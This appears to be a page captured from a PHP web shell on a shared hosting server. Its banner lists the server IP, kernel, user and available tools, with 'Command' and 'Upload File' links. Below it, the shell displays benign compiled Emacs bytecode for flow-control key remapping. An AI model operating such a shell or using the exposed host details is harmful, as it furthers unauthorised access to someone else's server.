|
Server IP : 111.118.215.189 / Your IP : 3.143.5.121 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/emacs/24.3/lisp/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
;ELC ;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:06:18 2024 ;;; from file /builddir/build/BUILD/emacs-24.3/lisp/flow-ctrl.el ;;; in Emacs version 24.3.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; #@69 Character that replaces C-s, when flow control handling is enabled. (defvar flow-control-c-s-replacement 28 (#$ . 552)) #@69 Character that replaces C-q, when flow control handling is enabled. (defvar flow-control-c-q-replacement 30 (#$ . 678)) (put 'keyboard-translate-table 'char-table-extra-slots 0) #@173 Toggle flow control handling. When handling is enabled, user can type C-s as C-\, and C-q as C-^. With arg, enable flow control mode if arg is positive, otherwise disable. (defalias 'enable-flow-control #[(&optional argument) "\203\f \306!\307X\202 \310 A@\2034 \311\312\313\314\310 8#\210 \205\241 \n\313I\210 \315\313I\210 \313I\210 \316\313I\207\311\313\312\314\310 8#\210 \204I \317\301\313\"\202} \320 !\203V \321 !\202} \317\301\313\" \307 G \211 W\203y \f \234I\210T\211\202b *\f) \n\315I\210 \315\nI\210 \316I\210 \316 I\210\322\323\324\325!\326\n!\326 !$\210\327\314!\207" [argument keyboard-translate-table flow-control-c-s-replacement flow-control-c-q-replacement the-table j prefix-numeric-value 0 current-input-mode set-input-mode t nil 2 19 17 make-char-table char-table-p copy-sequence message "XON/XOFF adjustment for %s: use %s for C-s, and use %s for C-q" getenv "TERM" single-key-description sleep-for i] 7 (#$ . 863) "P"]) #@287 Enable flow control if using one of a specified set of terminal types. Use `(enable-flow-control-on "vt100" "h19")' to enable flow control on VT-100 and H19 terminals. When flow control is enabled, you must type C-\ to get the effect of a C-s, and type C-^ to get the effect of a C-q. (defalias 'enable-flow-control-on #[(&rest losing-terminal-types) "\303\304!\305\211\203( \n\235\204( \306\307 \"\211\203\" \310O\211\202 \305\211\204\n \205. \311 *\207" [hyphend term losing-terminal-types getenv "TERM" nil string-match "[-_][^-_]+$" 0 enable-flow-control] 4 (#$ . 1832)]) (provide 'flow-ctrl)